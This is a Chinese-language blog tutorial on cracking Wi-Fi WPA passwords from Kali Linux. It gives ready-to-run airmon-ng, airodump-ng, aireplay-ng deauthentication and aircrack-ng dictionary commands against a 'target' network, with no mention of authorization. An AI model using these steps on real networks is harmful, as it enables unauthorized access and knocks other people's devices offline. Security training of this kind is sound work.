学习使用kali抓包

启动网卡

连接以后,在虚机的右下角部分可以看到类型USB接口的图案显亮出来,即表示连接成功。

使用支持监听模式的无线网卡

准备工作

1.插上无线网卡后

如果不是免驱动版,可能需要安装驱动

2.如果是虚拟机则需要启动

1.终端执行命令 airmon-ng 查看网卡是否被识别(接口名称通常是wlan0)

iwconfig

2.开启监听模式 有的命令前面可能不用加sudo

sudo airmon-ng start wlan0

成功后接口名会变成 wlan0mon ,

3.用iwconfig 查看是否是监听模式 关键字 Monitor

4扫描附近网络,找到目标后按 Ctrl+C 停止,并记下目标的BSSID) 和 CH(信道) 值

sudo airodump-ng wlan0mon

5.锁定目标并抓取握手包

针对目标网络开始抓包,数据会保存到指定文件 -w 后跟的就是指定文件,如果右上角出现 WPA handshake 即表示抓包成功

sudo airodump-ng -c 信道 --bssid 目标BSSID -w capture wlan0mon

记录一个客户端MAC地址STATION 列

6.主动触发握手

因为只有设备连接时才能抓到包,新开一个终端 ,强制已连接设备掉线重连,从而产生握手包

sudo aireplay-ng -0 10 -a 目标BSSID -c 客户端MAC wlan0mon

客户端 MAC 可从上一步抓包界面的下方列表(STATION 列)获得。‌

7.跑字典破解

抓包成功后,使用密码字典进行暴力破解,kali自带rockyou 字典,首次使用需要先解压

sudo gzip -d /usr/share/wordlists/rockyou.txt.gz

aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 目标BSSID capture-01.cap

出现 KEY FOUND! 表示破解成功,显示密码;

出现 KEY NOT FOUND 则说明字典里没有该密码,需更换更大或更有针对性的字典

测试结束后,使用一下命令恢复正常网络状态 修改自己的网卡设置。停止监听

sudo airmon-ng stop wlan0mon

sudo systemctl start NetworkManager

待补充 1.使用穷举法破解

2.上述方式是通过CPU处理破解的,效率非常低,待补充 使用GPU破解,提升破解速度

3.待补充参数说明,暴力破解会使用全部性能,对电脑伤害较大,可使用参数限制CPU或GPU性能,防止电脑蓝屏,烧机。

相关推荐
AC赳赳老秦2 小时前
采集行为合规自检:OpenClaw 自动校验 robots 协议与采集频率,规避违规采集风险
java·开发语言·c++·python·php·deepseek·openclaw
zhangrelay3 小时前
机械臂末端规划智能模型的误区演示
linux·笔记·学习·ubuntu·ros2
2601_967287575 小时前
轮胎侧壁上的 91V 是什么意思,负荷指数与速度级别怎么看
运维·服务器·汽车
织码weavecodes5 小时前
培训平台部署备份与容灾:从三服务交付到可恢复运行
大数据·学习·开源软件
Ivanqhz6 小时前
层归一化、残差、前馈网络与激活函数简述
服务器·数据库·人工智能·深度学习·算法
小此方6 小时前
Linux网络(十九):TCP流量控制与滑动窗口详解,超时重传和快重传到底有什么区别
linux·运维·服务器·网络·网络协议·tcp/ip
沫璃染墨6 小时前
《从零入门Linux系统篇(五十四):线程篇·七——互斥锁底层原理:从原子交换到线程竞争与锁实现》
linux·运维·服务器·开发语言·c++·驱动开发·系统架构
JWASX7 小时前
Java 转 go 学习 - 类型转换
学习·golang
Ruiery7 小时前
Linux 6.6内核 CPU 深度解析(一):BSP 拉起 — 从实模式到 kernel_init 的完整旅程
linux·运维·服务器
ggaofeng7 小时前
Ctrl+C结束进程是如何实现的
服务器·c语言·网络